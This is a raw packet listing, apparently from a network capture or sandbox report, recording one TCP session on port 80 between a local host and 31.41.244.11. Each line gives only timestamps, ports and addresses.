Nov 22, 2024 04:12:10.365571976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.366988897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.367044926 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.367104053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.367171049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.368562937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.368663073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.368694067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.368748903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.370178938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.370230913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.370275021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.370331049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.371812105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.371870995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.371927023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.371982098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.373353958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.373411894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.373486042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.373538971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.374950886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.375009060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.375073910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.375129938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.376530886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.376585007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.376641989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.376694918 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.378129959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.378185034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.378235102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.378289938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.379698038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.379796982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.379808903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.379859924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.381316900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.381366968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.381426096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.381479979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.382946968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.383003950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.383135080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.383189917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.384468079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.384520054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.384579897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.384634018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.386063099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.386116982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.386179924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.386234999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.387639999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.387696981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.387758017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.387816906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.389233112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.389295101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.389362097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.389415979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.390820980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.390888929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.390933037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.390984058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.392416954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.392469883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.392543077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.392595053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.394033909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.394087076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.394109964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.394165993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.395584106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.395639896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.395711899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.395770073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.397182941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.397237062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.397294998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.397350073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.398761034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.398813009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.398870945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.398926020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.400347948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.400417089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.400475025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.400540113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.401928902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.402004004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.402053118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.402108908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.403533936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.403592110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.403654099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.403702974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.405169010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.405226946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.405314922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.405371904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.406718016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.406774998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.406774998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.406825066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.408308029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.408360958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.408435106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.408492088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.409879923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.409955025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.410047054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.410098076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.411477089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.411534071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.411591053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.411647081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.413059950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.413117886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.413189888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.413250923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.414664030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.414716959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.537208080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.537281036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.537343979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.537396908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.537911892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.537962914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.537976027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.538009882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.539273977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.539350033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.539397001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.539449930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.540646076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.540719032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.540766001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.540824890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.542017937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.542073965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.542179108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.542228937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.543399096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.543456078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.543512106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.543555975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.544754028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.544807911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.544876099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.544934034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.546139956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.546191931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.546251059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.546304941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.547501087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.547554016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.547633886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.547733068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.548878908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.548943043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.549007893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.549067974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.550292969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.550357103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.550403118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.550467968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.551624060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.551682949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.551764011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.551820993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.552994967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.553056955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.553133011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.553189039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.554380894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.554452896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.554502010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.554558039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.555757999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.555811882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.555866957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.555921078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.557117939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.557178974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.557254076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.557311058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.558490992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.558542013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.558621883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.558670044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.559880018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.559932947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.559986115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.560036898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.561237097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.561290979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.561353922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.561404943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.562616110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.562674046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.562747955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.562803984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.564013004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.564078093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.564171076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.564241886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.565377951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.565438986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.565505981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.565562963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.566730022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.566783905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.566853046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.566901922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.568114042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.568171978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.568245888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.568310022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.569504976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.569561958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.569591999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.569647074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.570913076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.570965052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.570969105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.571016073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.572227001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.572282076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.572355032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.572403908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.573620081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.573671103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.573750973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.573801041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.574987888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.575083971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.575109959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.575172901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.576353073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.576400995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.576407909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.576463938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.577724934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.577785015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.577838898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.577892065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.579091072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.579144001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.579220057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.579273939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.580471039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.580522060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.580589056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.580634117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.581870079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.581919909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.581954956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.582004070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.583204985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.583259106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.583348036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.583398104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.584613085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.584667921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.584773064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.584824085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.585971117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.586067915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.586069107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.586113930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.587358952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.587410927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.587486982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.587537050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.588709116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.588773966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.588852882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.588905096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.590120077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.590172052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.590253115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.590301991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.591464043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.591517925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.591528893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.591562033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.592869997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.592921019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.592951059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.593002081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.594223022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.594274998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.594331026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.594376087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.595562935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.595638990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.595715046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.595769882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.596957922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.597058058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.597110033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.597163916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.598345041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.598401070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.598462105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.598515034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.599711895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.599767923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.599843025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.599896908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.601073980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.601130962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.601214886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.601270914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.602452993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.602509022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.602531910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.602585077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.603890896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.603945971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.603971004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.604003906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.605204105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.605273008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.605339050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.605396986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.606578112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.606631041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.606642962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.606688023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.607966900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.608067989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.608086109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.608127117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.609297991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.609369040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.738503933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.738570929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.738641024 CET	80	49760	31.41.244.11	192.168.2.4
